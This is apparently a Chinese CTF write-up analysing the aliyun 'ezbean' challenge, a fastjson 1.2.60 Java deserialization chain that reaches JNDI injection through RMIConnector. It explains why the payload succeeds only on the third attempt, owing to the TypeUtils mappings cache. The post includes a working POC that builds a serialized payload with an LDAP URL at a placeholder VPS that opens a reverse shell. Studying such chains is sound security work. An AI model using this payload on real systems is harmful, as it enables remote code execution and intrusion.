[aliyun CTF] ezbean分析与思考

Sl0th Lv4

aliyun CTF ezbean分析与思考

0x00 前言

复现阿里云的时候发现了一个很奇怪、很玄学的点,官方和冠军wp都是一笔带过了,官方也没给exp,就试着自己硬调,调着调着有点上头,应该没人发过吧,我猜的😂

前置知识

FastJson反序列化中有常见的链,BadAttributeValueExpException触发的JSON#toString-》getter方法,这个过程有点复杂,也不是本文的重点,具体可以参考

fastjson和原生反序列化

0x01 题目背景

反序列化点

题目给出了一个可以反序列化参数data传入数据的路由read

image-20230504230327231
image-20230504230327231

这里的MyObjectInputStream继承自ObjectInputStream,调用readObject方会先进入resolveClass具体调用栈如下

image-20230504233800680
image-20230504233800680

跟进resolveClass

1
2
3
4
5
6
7
protected Class resolveClass(ObjectStreamClass cls) throws IOException, ClassNotFoundException {
if(!contains(cls.getName())) {//*
return super.resolveClass(cls);
} else {
throw new InvalidClassException("Unexpected serialized class", cls.getName());
}
}

跟进com.ctf.ezser.utils.MyObjectInputStream#contains方法,是一个黑名单过滤

1
2
3
4
5
6
7
8
9
10
11
12
private static final String[] blacklist = new String[]{
"java\\.security.*", "java\\.rmi.*", "com\\.fasterxml.*", "com\\.ctf\\.*",
"org\\.springframework.*", "org\\.yaml.*", "javax\\.management\\.remote.*"
};
//...
public static boolean contains(String targetValue) {
for (String forbiddenPackage : blacklist) {
if (targetValue.matches(forbiddenPackage))
return true;
}
return false;
}

不过经实测这个黑名单似乎起不到过滤的作用

image-20230504234209559
image-20230504234209559

0x02 问题发现

限制分析

fastjson==1.2.60>1.2.49

SecureObjectInputStream类当中重写了resolveClass,在其中调用了checkAutoType方法做类的检查

这里提一下fastjson中的反序列化机制,由于ObjectInputStream的不安全性,fastjson在调用JSONArray/JSONObject的readObject方法触发反序列化时,会将反序列化过程委托给SecureObjectInputStream处理,这个类可以理解成是安全的ObjectInputStream,下图为委托起点(ObjectInputStream#defaultReadObject)

image-20230504235432194
image-20230504235432194

之后的过程感兴趣可以调一下看下调用栈,几个节点如下(太多了,只选了其中几个)

1
2
3
4
5
ObjectInputStream #defaultReadObject
ObjectInputStream #ReadObject
ObjectInputStream #ReadObject0
ObjectInputStream #readNonProxyDesc
SecureObjectInputStream #resolveClass

关注一下resolveClass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
String name = desc.getName();
if (name.length() > 2) {
int index = name.lastIndexOf('[');
if (index != -1) {
name = name.substring(index + 1);
}
if (name.length() > 2 && name.charAt(0) == 'L' && name.charAt(name.length() - 1) == ';') {
name = name.substring(1, name.length() - 1);
}
ParserConfig.global.checkAutoType(name, null, Feature.SupportAutoType.mask);//重点,调用了checkAutoType方法
}
return super.resolveClass(desc);
}

反序列化失败的大多数原因都是checkAutoType函数执行过程中抛出了JSONException异常

这个异常大概字符串是

1
default constructor not found. class xxxxx

这样的话之前的链子就打不通了,原来有Fastjson反序列化的链子思路是从BadAttributeValueExpException->JSON#toString->JSON#toJSONString,进而最后能触发任意类的getter(就是类的方法名以get开头的),回看这题给的MyBean,里面有个getConnect

1
2
3
4
5
6
7
8
9
public String getConnect() throws IOException {
try {
this.conn.connect();
return "success";
} catch (IOException var2) {
return "fail";
}
}
// private JMXConnector conn;

只要我们能触发getConnect,将conn设置为RMIConnector,可以触发JNDI注入,之后也就能反弹shell了

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
String jmxurl = "service:jmx:rmi:///jndi/ldap://vps_ip:1389/Basic/ReverseShell/vps_ip/3344";
JMXServiceURL jmxServiceURL = new JMXServiceURL(jmxurl);
RMIConnector rmi = new RMIConnector(jmxServiceURL, null);
com.ctf.ezser.bean.MyBean mb = new com.ctf.ezser.bean.MyBean(jmxurl,"sssaaaa",rmi);

com.alibaba.fastjson.JSONArray jsonArray = new com.alibaba.fastjson.JSONArray();
jsonArray.add(mb);

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(val);

String ret = Base64.getEncoder().encodeToString(baos.toByteArray());
System.out.println(ret);

玄学事件

按理来说,根据上述链子构造的反序列化应该会被SecureObjectInputStream拦截,进而执行checkAutoType然后抛出JSONException异常,导致反序列化失败,但神奇的是前两次反序列化一定失败,而从第三次开始就能成功并反弹shell。并且官方wp也用的这条链子,但写得过于简短,看冠军队的wp说是fj的随机构造函数问题,后来调了一下感觉可能不是这个原因

image-20230505012846237
image-20230505012846237

一开始以为三次只是巧合,后来每次验证都是三次。并且第一次是default constructor not found. class xxx.RMIConnector第二次是default constructor not found. class xxx.JMXServiceURL

这里先提一下checkAutoType通过typeName找类的三种方式

1
2
3
4
5
6
7
8
9
10
11
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);//🌟
}

if (clazz == null) {
clazz = deserializers.findClass(typeName);
}

if (clazz == null) {
clazz = typeMapping.get(typeName);
}

经过测试,最主要的方法是TypeUtils.getClassFromMapping这个方法会去TypeUtils的mappings成员里找是否有以typeName为Name的类(🌟🌟这个很重要 记一下)mappings是静态私有成员,在初始化时就放入了107个常见类(也是SecureObjectInputStream认为是安全的类)

调的过程中发现三次执行的过程中,这个mappings成员的size分别是108、109、110,而在110时反序列化成功,想必大家看到这里都能发现这个关键点了,也能猜测到前两次工作是把抛出异常没找到那个类添加进mappings

0x03 调试分析

理论上是说得通了,还得是调试一下来验证

前提条件

这题里能传入checkAutoType去寻找的非原生类只有

1
2
3
com.ctf.ezser.bean.MyBean //反序列化终点,被调用getConnect-》this.conn.connect();
javax.management.remote.rmi.RMIConnector //传入MyBean构造函数给conn赋值
javax.management.remote.JMXServiceURL //用于传入RMIConnector构造函数

异常信号寻找

首先先找一下这个一直报错的default constructor not found. class xxx字段,找出来是在JavaBeanInfo#build方法的某处

1
2
3
4
5
6
7
    if ((!kotlin)
&& !clazz.getName().equals("javax.servlet.http.Cookie")) {
return new JavaBeanInfo(clazz, builderClass, null, creatorConstructor, null, null, jsonType, fieldList);
}
} else {
throw new JSONException("default constructor not found. " + clazz);
}

在这题的反序列化过程中kotlin都为false,因此关注第二个条件,经调试,走到这一步的clazz都不会是javax.servlet.http.Cookie,而是上面三个前提条件中的后两个

checkAutoType方法后续会创建一个JavaBeanInfo调用clazz方法,不过前提是前一个if没有成功的return跳出函数,从下面代码可以看出,如果三种方法都找不到class,也就不会提前退出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
//...
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
if (clazz == null) {
clazz = typeMapping.get(typeName);
}
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}
//...🌟🌟
if (clazz == null && (autoTypeSupport || jsonType || expectClassFlag)) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}//***处
//...
JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
if (beanInfo.creatorConstructor != null && autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
}
//...

若没有提前退出会来到上面标识的***处,这里有一个很重要的操作,把还没找到的类的类名typeName添加进TypeUtils的mappings中,使用类加载器加载该类并赋值给clazz,这里可以简单看一下TypeUtils.loadClass关键部分

1
2
3
4
5
6
7
if(classLoader != null){
clazz = classLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}

总结

总结一下传入ParserConifg#checkAutoType的类名会经历以下过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
1.简单的类名检查,若处于黑名单则抛出异常 autoType is not support xxx
2.使用三种方法通过类名来加载类:
TypeUtils.getClassFormMappings (基本都通过这个方法找到)
IdentityHashMap.findClass
ConcurrentHashMap.get
3.若找到,会进入以下if进而return找到的类提前退出checkAutoType函数
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
4.继续执行,通过TypeUtils的loadClass方法利用类加载器找到类,并将当前类加入TypeUtils的mappings中
5.调用JavaBeanInfo的build方法,传入当前类,当类没有无参构造函数时会抛出异常 default constructor not found. xxxx

第一次反序列化

首先是入口点

1
objectInputStream.readObject();

接着来到JSONArray#readObject

1
2
3
4
5
6
7
8
9
10
11
12
private void readObject(final java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
JSONObject.SecureObjectInputStream.ensureFields();
if (JSONObject.SecureObjectInputStream.fields != null && !JSONObject.SecureObjectInputStream.fields_error) {
ObjectInputStream secIn = new JSONObject.SecureObjectInputStream(in);
try {
secIn.defaultReadObject();
return;
} catch (java.io.NotActiveException e) {
// skip
}
}
//。。。

之后就被SecureObjectInputStream劫持了

image-20230505020221637
image-20230505020221637

直接来到最关键的checkAutoType方法,可以看到先找的是MyBean

image-20230505020313917
image-20230505020313917

跟进checkAutoType方法,前面部分跳过,直接来个经典三个方法寻找类

image-20230505020425672
image-20230505020425672

这里可以先跟进一下getClassFromMapping方法,可以看到此时的Mappings(size:107)

image-20230505020521779
image-20230505020521779

经过三个方法,仍然没有找到类,这也就意味着接下来一定会去到JavaBeanInfo的build方法中(异常抛出点),不过在这之前会先通过Typeutils的loadClass方法找到类,并添加mappings的数量

1
2
3
4
if (clazz == null && (autoTypeSupport || jsonType || expectClassFlag)) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}

MyBean被添加,size变为108

image-20230505020903956
image-20230505020903956

之后就来到了这个死亡异常抛出点JavaBeanInfo的build方法,但你会惊奇的发现,并没有抛出异常,程序继续走到了下一个类RMIConnector传入checkAutoType方法,其实是因为这个if的条件不满足,build函数提前返回

image-20230505021125948
image-20230505021125948

这也很好理解,那个异常提示的很明显了default constructor not found. class xxx而MyBean明显是有无参构造方法的,这里的defaultConstructor就是获取到了无参构造方法

image-20230505015849391
image-20230505015849391

没有异常抛出,无事发生,接着轮到RMIConnector

image-20230505021320328
image-20230505021320328

后面都是一样的操作,三个方法都找不到类,被添加进mappings,size+1

image-20230505021419699
image-20230505021419699

然后来到死亡异常抛出点JavaBeanInfo的build方法,没有无参构造函数

image-20230505021538934
image-20230505021538934

image-20230505021549225
image-20230505021549225

迎来第一次报错

image-20230505021625294
image-20230505021625294

第二次反序列化

接着进行第二次,发送payload

image-20230505021702771
image-20230505021702771

MyBean和RMIConnector的checkAutoType就先跳过,这两类以及被加入mappings了,是可以通过三个方法后的这部分代码提前退出的,就不再跟进

1
2
3
4
5
6
7
8
9
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}

直接开始分析JMXServiceURL,三个方法找不到类,调用laodClass

image-20230505021939903
image-20230505021939903

加入mappings, size+1,至此,可以支持反序列化成功的mappigns已经装填好

image-20230505022008745
image-20230505022008745

之后又因为没有无参构造方法抛出异常

image-20230505022107758
image-20230505022107758

迎来第二个报错

image-20230505022142322
image-20230505022142322

第三次反序列化(也是反序列化成功的开始)

先提前架起ldap服务和vps监听

image-20230505022409515
image-20230505022409515

发送payload

image-20230505022432324
image-20230505022432324

通过了前面三个类的checkAutoType方法,来到BadAttributeValueExpException的readObject方法

image-20230505022631154
image-20230505022631154

接着触发getter

image-20230505022649684
image-20230505022649684

成功反弹shell

image-20230505022721373
image-20230505022721373

  • 标题: [aliyun CTF] ezbean分析与思考
  • 作者: Sl0th
  • 创建于 : 2023-05-05 23:29:13
  • 更新于 : 2024-11-11 18:23:06
  • 链接: http://sl0th.top/2023/05/05/ezbean分析与思考/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论